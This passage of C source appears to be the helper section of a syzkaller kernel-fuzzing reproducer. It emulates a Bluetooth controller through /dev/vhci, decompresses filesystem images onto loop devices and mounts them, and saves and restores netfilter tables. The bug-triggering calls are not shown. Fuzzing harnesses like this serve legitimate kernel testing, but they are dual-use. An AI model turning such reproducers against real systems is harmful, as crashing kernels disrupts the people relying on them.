uint8_t status;
uint16_t handle;
bdaddr_t bdaddr;
uint8_t link_type;
uint8_t encr_mode;
} __attribute__((packed));
#define HCI_EV_CONN_REQUEST 0x04
struct hci_ev_conn_request {
bdaddr_t bdaddr;
uint8_t dev_class[3];
uint8_t link_type;
} __attribute__((packed));
#define HCI_EV_REMOTE_FEATURES 0x0b
struct hci_ev_remote_features {
uint8_t status;
uint16_t handle;
uint8_t features[8];
} __attribute__((packed));
#define HCI_EV_CMD_COMPLETE 0x0e
struct hci_ev_cmd_complete {
uint8_t ncmd;
uint16_t opcode;
} __attribute__((packed));
#define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a
#define HCI_OP_READ_BUFFER_SIZE 0x1005
struct hci_rp_read_buffer_size {
uint8_t status;
uint16_t acl_mtu;
uint8_t sco_mtu;
uint16_t acl_max_pkt;
uint16_t sco_max_pkt;
} __attribute__((packed));
#define HCI_OP_READ_BD_ADDR 0x1009
struct hci_rp_read_bd_addr {
uint8_t status;
bdaddr_t bdaddr;
} __attribute__((packed));
#define HCI_EV_LE_META 0x3e
struct hci_ev_le_meta {
uint8_t subevent;
} __attribute__((packed));
#define HCI_EV_LE_CONN_COMPLETE 0x01
struct hci_ev_le_conn_complete {
uint8_t status;
uint16_t handle;
uint8_t role;
uint8_t bdaddr_type;
bdaddr_t bdaddr;
uint16_t interval;
uint16_t latency;
uint16_t supervision_timeout;
uint8_t clk_accurancy;
} __attribute__((packed));
struct hci_dev_req {
uint16_t dev_id;
uint32_t dev_opt;
};
struct vhci_vendor_pkt_request {
uint8_t type;
uint8_t opcode;
} __attribute__((packed));
struct vhci_pkt {
uint8_t type;
union {
struct {
uint8_t opcode;
uint16_t id;
} __attribute__((packed)) vendor_pkt;
struct hci_command_hdr command_hdr;
};
} __attribute__((packed));
#define HCIDEVUP _IOW('H', 201, int)
#define HCISETSCAN _IOW('H', 221, int)
static int vhci_fd = -1;
static void rfkill_unblock_all()
{
int fd = open("/dev/rfkill", O_WRONLY);
if (fd < 0)
exit(1);
struct rfkill_event event = {0};
event.idx = 0;
event.type = RFKILL_TYPE_ALL;
event.op = RFKILL_OP_CHANGE_ALL;
event.soft = 0;
event.hard = 0;
if (write(fd, &event, sizeof(event)) < 0)
exit(1);
close(fd);
}
static void hci_send_event_packet(int fd, uint8_t evt, void* data,
size_t data_len)
{
struct iovec iv[3];
struct hci_event_hdr hdr;
hdr.evt = evt;
hdr.plen = data_len;
uint8_t type = HCI_EVENT_PKT;
iv[0].iov_base = &type;
iv[0].iov_len = sizeof(type);
iv[1].iov_base = &hdr;
iv[1].iov_len = sizeof(hdr);
iv[2].iov_base = data;
iv[2].iov_len = data_len;
if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0)
exit(1);
}
static void hci_send_event_cmd_complete(int fd, uint16_t opcode, void* data,
size_t data_len)
{
struct iovec iv[4];
struct hci_event_hdr hdr;
hdr.evt = HCI_EV_CMD_COMPLETE;
hdr.plen = sizeof(struct hci_ev_cmd_complete) + data_len;
struct hci_ev_cmd_complete evt_hdr;
evt_hdr.ncmd = 1;
evt_hdr.opcode = opcode;
uint8_t type = HCI_EVENT_PKT;
iv[0].iov_base = &type;
iv[0].iov_len = sizeof(type);
iv[1].iov_base = &hdr;
iv[1].iov_len = sizeof(hdr);
iv[2].iov_base = &evt_hdr;
iv[2].iov_len = sizeof(evt_hdr);
iv[3].iov_base = data;
iv[3].iov_len = data_len;
if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0)
exit(1);
}
static bool process_command_pkt(int fd, char* buf, ssize_t buf_size)
{
struct hci_command_hdr* hdr = (struct hci_command_hdr*)buf;
if (buf_size < (ssize_t)sizeof(struct hci_command_hdr) ||
hdr->plen != buf_size - sizeof(struct hci_command_hdr))
exit(1);
switch (hdr->opcode) {
case HCI_OP_WRITE_SCAN_ENABLE: {
uint8_t status = 0;
hci_send_event_cmd_complete(fd, hdr->opcode, &status, sizeof(status));
return true;
}
case HCI_OP_READ_BD_ADDR: {
struct hci_rp_read_bd_addr rp = {0};
rp.status = 0;
memset(&rp.bdaddr, 0xaa, 6);
hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp));
return false;
}
case HCI_OP_READ_BUFFER_SIZE: {
struct hci_rp_read_buffer_size rp = {0};
rp.status = 0;
rp.acl_mtu = 1021;
rp.sco_mtu = 96;
rp.acl_max_pkt = 4;
rp.sco_max_pkt = 6;
hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp));
return false;
}
}
char dummy[0xf9] = {0};
hci_send_event_cmd_complete(fd, hdr->opcode, dummy, sizeof(dummy));
return false;
}
static void* event_thread(void* arg)
{
while (1) {
char buf[1024] = {0};
ssize_t buf_size = read(vhci_fd, buf, sizeof(buf));
if (buf_size < 0)
exit(1);
if (buf_size > 0 && buf[0] == HCI_COMMAND_PKT) {
if (process_command_pkt(vhci_fd, buf + 1, buf_size - 1))
break;
}
}
return NULL;
}
#define HCI_HANDLE_1 200
#define HCI_HANDLE_2 201
#define HCI_PRIMARY 0
#define HCI_OP_RESET 0x0c03
static void initialize_vhci()
{
int hci_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
if (hci_sock < 0)
exit(1);
vhci_fd = open("/dev/vhci", O_RDWR);
if (vhci_fd == -1)
exit(1);
const int kVhciFd = 202;
if (dup2(vhci_fd, kVhciFd) < 0)
exit(1);
close(vhci_fd);
vhci_fd = kVhciFd;
struct vhci_vendor_pkt_request vendor_pkt_req = {HCI_VENDOR_PKT, HCI_PRIMARY};
if (write(vhci_fd, &vendor_pkt_req, sizeof(vendor_pkt_req)) !=
sizeof(vendor_pkt_req))
exit(1);
struct vhci_pkt vhci_pkt;
if (read(vhci_fd, &vhci_pkt, sizeof(vhci_pkt)) != sizeof(vhci_pkt))
exit(1);
if (vhci_pkt.type == HCI_COMMAND_PKT &&
vhci_pkt.command_hdr.opcode == HCI_OP_RESET) {
char response[1] = {0};
hci_send_event_cmd_complete(vhci_fd, HCI_OP_RESET, response,
sizeof(response));
if (read(vhci_fd, &vhci_pkt, sizeof(vhci_pkt)) != sizeof(vhci_pkt))
exit(1);
}
if (vhci_pkt.type != HCI_VENDOR_PKT)
exit(1);
int dev_id = vhci_pkt.vendor_pkt.id;
pthread_t th;
if (pthread_create(&th, NULL, event_thread, NULL))
exit(1);
int ret = ioctl(hci_sock, HCIDEVUP, dev_id);
if (ret) {
if (errno == ERFKILL) {
rfkill_unblock_all();
ret = ioctl(hci_sock, HCIDEVUP, dev_id);
}
if (ret && errno != EALREADY)
exit(1);
}
struct hci_dev_req dr = {0};
dr.dev_id = dev_id;
dr.dev_opt = SCAN_PAGE;
if (ioctl(hci_sock, HCISETSCAN, &dr))
exit(1);
struct hci_ev_conn_request request;
memset(&request, 0, sizeof(request));
memset(&request.bdaddr, 0xaa, 6);
*(uint8_t*)&request.bdaddr.b[5] = 0x10;
request.link_type = ACL_LINK;
hci_send_event_packet(vhci_fd, HCI_EV_CONN_REQUEST, &request,
sizeof(request));
struct hci_ev_conn_complete complete;
memset(&complete, 0, sizeof(complete));
complete.status = 0;
complete.handle = HCI_HANDLE_1;
memset(&complete.bdaddr, 0xaa, 6);
*(uint8_t*)&complete.bdaddr.b[5] = 0x10;
complete.link_type = ACL_LINK;
complete.encr_mode = 0;
hci_send_event_packet(vhci_fd, HCI_EV_CONN_COMPLETE, &complete,
sizeof(complete));
struct hci_ev_remote_features features;
memset(&features, 0, sizeof(features));
features.status = 0;
features.handle = HCI_HANDLE_1;
hci_send_event_packet(vhci_fd, HCI_EV_REMOTE_FEATURES, &features,
sizeof(features));
struct {
struct hci_ev_le_meta le_meta;
struct hci_ev_le_conn_complete le_conn;
} le_conn;
memset(&le_conn, 0, sizeof(le_conn));
le_conn.le_meta.subevent = HCI_EV_LE_CONN_COMPLETE;
memset(&le_conn.le_conn.bdaddr, 0xaa, 6);
*(uint8_t*)&le_conn.le_conn.bdaddr.b[5] = 0x11;
le_conn.le_conn.role = 1;
le_conn.le_conn.handle = HCI_HANDLE_2;
hci_send_event_packet(vhci_fd, HCI_EV_LE_META, &le_conn, sizeof(le_conn));
pthread_join(th, NULL);
close(hci_sock);
}
//% This code is derived from puff.{c,h}, found in the zlib development. The
//% original files come with the following copyright notice:
//% Copyright (C) 2002-2013 Mark Adler, all rights reserved
//% version 2.3, 21 Jan 2013
//% This software is provided 'as-is', without any express or implied
//% warranty. In no event will the author be held liable for any damages
//% arising from the use of this software.
//% Permission is granted to anyone to use this software for any purpose,
//% including commercial applications, and to alter it and redistribute it
//% freely, subject to the following restrictions:
//% 1. The origin of this software must not be misrepresented; you must not
//% claim that you wrote the original software. If you use this software
//% in a product, an acknowledgment in the product documentation would be
//% appreciated but is not required.
//% 2. Altered source versions must be plainly marked as such, and must not be
//% misrepresented as being the original software.
//% 3. This notice may not be removed or altered from any source distribution.
//% Mark Adler madler@alumni.caltech.edu
//% BEGIN CODE DERIVED FROM puff.{c,h}
#define MAXBITS 15
#define MAXLCODES 286
#define MAXDCODES 30
#define MAXCODES (MAXLCODES + MAXDCODES)
#define FIXLCODES 288
struct puff_state {
unsigned char* out;
unsigned long outlen;
unsigned long outcnt;
const unsigned char* in;
unsigned long inlen;
unsigned long incnt;
int bitbuf;
int bitcnt;
jmp_buf env;
};
static int puff_bits(struct puff_state* s, int need)
{
long val = s->bitbuf;
while (s->bitcnt < need) {
if (s->incnt == s->inlen)
longjmp(s->env, 1);
val |= (long)(s->in[s->incnt++]) << s->bitcnt;
s->bitcnt += 8;
}
s->bitbuf = (int)(val >> need);
s->bitcnt -= need;
return (int)(val & ((1L << need) - 1));
}
static int puff_stored(struct puff_state* s)
{
s->bitbuf = 0;
s->bitcnt = 0;
if (s->incnt + 4 > s->inlen)
return 2;
unsigned len = s->in[s->incnt++];
len |= s->in[s->incnt++] << 8;
if (s->in[s->incnt++] != (~len & 0xff) ||
s->in[s->incnt++] != ((~len >> 8) & 0xff))
return -2;
if (s->incnt + len > s->inlen)
return 2;
if (s->outcnt + len > s->outlen)
return 1;
for (; len--; s->outcnt++, s->incnt++) {
if (s->in[s->incnt])
s->out[s->outcnt] = s->in[s->incnt];
}
return 0;
}
struct puff_huffman {
short* count;
short* symbol;
};
static int puff_decode(struct puff_state* s, const struct puff_huffman* h)
{
int first = 0;
int index = 0;
int bitbuf = s->bitbuf;
int left = s->bitcnt;
int code = first = index = 0;
int len = 1;
short* next = h->count + 1;
while (1) {
while (left--) {
code |= bitbuf & 1;
bitbuf >>= 1;
int count = *next++;
if (code - count < first) {
s->bitbuf = bitbuf;
s->bitcnt = (s->bitcnt - len) & 7;
return h->symbol[index + (code - first)];
}
index += count;
first += count;
first <<= 1;
code <<= 1;
len++;
}
left = (MAXBITS + 1) - len;
if (left == 0)
break;
if (s->incnt == s->inlen)
longjmp(s->env, 1);
bitbuf = s->in[s->incnt++];
if (left > 8)
left = 8;
}
return -10;
}
static int puff_construct(struct puff_huffman* h, const short* length, int n)
{
int len;
for (len = 0; len <= MAXBITS; len++)
h->count[len] = 0;
int symbol;
for (symbol = 0; symbol < n; symbol++)
(h->count[length[symbol]])++;
if (h->count[0] == n)
return 0;
int left = 1;
for (len = 1; len <= MAXBITS; len++) {
left <<= 1;
left -= h->count[len];
if (left < 0)
return left;
}
short offs[MAXBITS + 1];
offs[1] = 0;
for (len = 1; len < MAXBITS; len++)
offs[len + 1] = offs[len] + h->count[len];
for (symbol = 0; symbol < n; symbol++)
if (length[symbol] != 0)
h->symbol[offs[length[symbol]]++] = symbol;
return left;
}
static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode,
const struct puff_huffman* distcode)
{
static const short lens[29] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 13,
15, 17, 19, 23, 27, 31, 35, 43, 51, 59,
67, 83, 99, 115, 131, 163, 195, 227, 258};
static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2,
2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};
static const short dists[30] = {
1, 2, 3, 4, 5, 7, 9, 13, 17, 25,
33, 49, 65, 97, 129, 193, 257, 385, 513, 769,
1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577};
static const short dext[30] = {0, 0, 0, 0, 1, 1, 2, 2, 3, 3,
4, 4, 5, 5, 6, 6, 7, 7, 8, 8,
9, 9, 10, 10, 11, 11, 12, 12, 13, 13};
int symbol;
do {
symbol = puff_decode(s, lencode);
if (symbol < 0)
return symbol;
if (symbol < 256) {
if (s->outcnt == s->outlen)
return 1;
if (symbol)
s->out[s->outcnt] = symbol;
s->outcnt++;
} else if (symbol > 256) {
symbol -= 257;
if (symbol >= 29)
return -10;
int len = lens[symbol] + puff_bits(s, lext[symbol]);
symbol = puff_decode(s, distcode);
if (symbol < 0)
return symbol;
unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]);
if (dist > s->outcnt)
return -11;
if (s->outcnt + len > s->outlen)
return 1;
while (len--) {
if (dist <= s->outcnt && s->out[s->outcnt - dist])
s->out[s->outcnt] = s->out[s->outcnt - dist];
s->outcnt++;
}
}
} while (symbol != 256);
return 0;
}
static int puff_fixed(struct puff_state* s)
{
static int virgin = 1;
static short lencnt[MAXBITS + 1], lensym[FIXLCODES];
static short distcnt[MAXBITS + 1], distsym[MAXDCODES];
static struct puff_huffman lencode, distcode;
if (virgin) {
lencode.count = lencnt;
lencode.symbol = lensym;
distcode.count = distcnt;
distcode.symbol = distsym;
short lengths[FIXLCODES];
int symbol;
for (symbol = 0; symbol < 144; symbol++)
lengths[symbol] = 8;
for (; symbol < 256; symbol++)
lengths[symbol] = 9;
for (; symbol < 280; symbol++)
lengths[symbol] = 7;
for (; symbol < FIXLCODES; symbol++)
lengths[symbol] = 8;
puff_construct(&lencode, lengths, FIXLCODES);
for (symbol = 0; symbol < MAXDCODES; symbol++)
lengths[symbol] = 5;
puff_construct(&distcode, lengths, MAXDCODES);
virgin = 0;
}
return puff_codes(s, &lencode, &distcode);
}
static int puff_dynamic(struct puff_state* s)
{
static const short order[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5,
11, 4, 12, 3, 13, 2, 14, 1, 15};
int nlen = puff_bits(s, 5) + 257;
int ndist = puff_bits(s, 5) + 1;
int ncode = puff_bits(s, 4) + 4;
if (nlen > MAXLCODES || ndist > MAXDCODES)
return -3;
short lengths[MAXCODES];
int index;
for (index = 0; index < ncode; index++)
lengths[order[index]] = puff_bits(s, 3);
for (; index < 19; index++)
lengths[order[index]] = 0;
short lencnt[MAXBITS + 1], lensym[MAXLCODES];
struct puff_huffman lencode = {lencnt, lensym};
int err = puff_construct(&lencode, lengths, 19);
if (err != 0)
return -4;
index = 0;
while (index < nlen + ndist) {
int symbol;
int len;
symbol = puff_decode(s, &lencode);
if (symbol < 0)
return symbol;
if (symbol < 16)
lengths[index++] = symbol;
else {
len = 0;
if (symbol == 16) {
if (index == 0)
return -5;
len = lengths[index - 1];
symbol = 3 + puff_bits(s, 2);
} else if (symbol == 17)
symbol = 3 + puff_bits(s, 3);
else
symbol = 11 + puff_bits(s, 7);
if (index + symbol > nlen + ndist)
return -6;
while (symbol--)
lengths[index++] = len;
}
}
if (lengths[256] == 0)
return -9;
err = puff_construct(&lencode, lengths, nlen);
if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1]))
return -7;
short distcnt[MAXBITS + 1], distsym[MAXDCODES];
struct puff_huffman distcode = {distcnt, distsym};
err = puff_construct(&distcode, lengths + nlen, ndist);
if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1]))
return -8;
return puff_codes(s, &lencode, &distcode);
}
static int puff(unsigned char* dest, unsigned long* destlen,
const unsigned char* source, unsigned long sourcelen)
{
struct puff_state s = {
.out = dest,
.outlen = *destlen,
.outcnt = 0,
.in = source,
.inlen = sourcelen,
.incnt = 0,
.bitbuf = 0,
.bitcnt = 0,
};
int err;
if (setjmp(s.env) != 0)
err = 2;
else {
int last;
do {
last = puff_bits(&s, 1);
int type = puff_bits(&s, 2);
err = type == 0 ? puff_stored(&s)
: (type == 1 ? puff_fixed(&s)
: (type == 2 ? puff_dynamic(&s) : -1));
if (err != 0)
break;
} while (!last);
}
*destlen = s.outcnt;
return err;
}
//% END CODE DERIVED FROM puff.{c,h}
#define ZLIB_HEADER_WIDTH 2
static int puff_zlib_to_file(const unsigned char* source,
unsigned long sourcelen, int dest_fd)
{
if (sourcelen < ZLIB_HEADER_WIDTH)
return 0;
source += ZLIB_HEADER_WIDTH;
sourcelen -= ZLIB_HEADER_WIDTH;
const unsigned long max_destlen = 132 << 20;
void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (ret == MAP_FAILED)
return -1;
unsigned char* dest = (unsigned char*)ret;
unsigned long destlen = max_destlen;
int err = puff(dest, &destlen, source, sourcelen);
if (err) {
munmap(dest, max_destlen);
errno = -err;
return -1;
}
if (write(dest_fd, dest, destlen) != (ssize_t)destlen) {
munmap(dest, max_destlen);
return -1;
}
return munmap(dest, max_destlen);
}
static int setup_loop_device(unsigned char* data, unsigned long size,
const char* loopname, int* loopfd_p)
{
int err = 0, loopfd = -1;
int memfd = syscall(__NR_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (puff_zlib_to_file(data, size, memfd)) {
err = errno;
goto error_close_memfd;
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
close(memfd);
*loopfd_p = loopfd;
return 0;
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}
static void reset_loop_device(const char* loopname)
{
int loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
return;
}
if (ioctl(loopfd, LOOP_CLR_FD, 0)) {
}
close(loopfd);
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile long flags, volatile long optsarg,
volatile long change_dir,
volatile unsigned long size, volatile long image)
{
unsigned char* data = (unsigned char*)image;
int res = -1, err = 0, need_loop_device = !!size;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
int loopfd;
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
if (setup_loop_device(data, size, loopname, &loopfd) == -1)
return -1;
close(loopfd);
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
bool has_remount_ro = false;
char* remount_ro_start = strstr(opts, "errors=remount-ro");
if (remount_ro_start != NULL) {
char after = *(remount_ro_start + strlen("errors=remount-ro"));
char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1);
has_remount_ro = ((before == '\0' || before == ',') &&
(after == '\0' || after == ','));
}
if (strstr(opts, "errors=panic") || !has_remount_ro)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
if (change_dir) {
res = chdir(target);
if (res == -1) {
err = errno;
}
}
error_clear_loop:
if (need_loop_device)
reset_loop_device(loopname);
errno = err;
return res;
}
#define XT_TABLE_SIZE 1536
#define XT_MAX_ENTRIES 10
struct xt_counters {
uint64_t pcnt, bcnt;
};
struct ipt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_entries;
unsigned int size;
};
struct ipt_get_entries {
char name[32];
unsigned int size;
uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)];
};
struct ipt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_counters;
struct xt_counters* counters;
uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)];
};
struct ipt_table_desc {
const char* name;
struct ipt_getinfo info;
struct ipt_replace replace;
};
static struct ipt_table_desc ipv4_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
static struct ipt_table_desc ipv6_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
#define IPT_BASE_CTL 64
#define IPT_SO_SET_REPLACE (IPT_BASE_CTL)
#define IPT_SO_GET_INFO (IPT_BASE_CTL)
#define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1)
struct arpt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_entries;
unsigned int size;
};
struct arpt_get_entries {
char name[32];
unsigned int size;
uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)];
};
struct arpt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_counters;
struct xt_counters* counters;
uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)];
};
struct arpt_table_desc {
const char* name;
struct arpt_getinfo info;
struct arpt_replace replace;
};
static struct arpt_table_desc arpt_tables[] = {
{.name = "filter"},
};
#define ARPT_BASE_CTL 96
#define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL)
#define ARPT_SO_GET_INFO (ARPT_BASE_CTL)
#define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1)
static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
int fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
case ENOENT:
return;
}
exit(1);
}
for (int i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
struct ipt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
int fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
case ENOENT:
return;
}
exit(1);
}
for (int i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
if (table->info.valid_hooks == 0)
continue;
struct ipt_getinfo info;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
socklen_t optlen = sizeof(info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
struct ipt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
}
struct xt_counters counters[XT_MAX_ENTRIES];
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_arptables(void)
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
case ENOENT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
struct arpt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_arptables()
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
case ENOENT:
return;
}
exit(1);
}
for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
if (table->info.valid_hooks == 0)
continue;
struct arpt_getinfo info;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
socklen_t optlen = sizeof(info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
struct arpt_get_entries entries;
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
} else {
}
struct xt_counters counters[XT_MAX_ENTRIES];
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
#define NF_BR_NUMHOOKS 6
#define EBT_TABLE_MAXNAMELEN 32
#define EBT_CHAIN_MAXNAMELEN 32
#define EBT_BASE_CTL 128
#define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
#define EBT_SO_GET_INFO (EBT_BASE_CTL)
#define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
#define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1)
#define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1)
struct ebt_replace {
char name[EBT_TABLE_MAXNAMELEN];
unsigned int valid_hooks;
unsigned int nentries;
unsigned int entries_size;
struct ebt_entries* hook_entry[NF_BR_NUMHOOKS];
unsigned int num_counters;
struct ebt_counter* counters;
char* entries;
};
struct ebt_entries {
unsigned int distinguisher;
char name[EBT_CHAIN_MAXNAMELEN];
unsigned int counter_offset;
int policy;
unsigned int nentries;
char data[0] __attribute__((aligned(__alignof__(struct ebt_replace))));
};
struct ebt_table_desc {
const char* name;
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
};
static struct ebt_table_desc ebt_tables[] = {
{.name = "filter"},
{.name = "nat"},
{.name = "broute"},
};
static void checkpoint_ebtables(void)
{
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
case ENOENT:
return;
}
exit(1);
}
for (size_t i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
strcpy(table->replace.name, table->name);
socklen_t optlen = sizeof(table->replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace,
&optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->replace.entries_size > sizeof(table->entrytable))
exit(1);
table->replace.num_counters = 0;
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
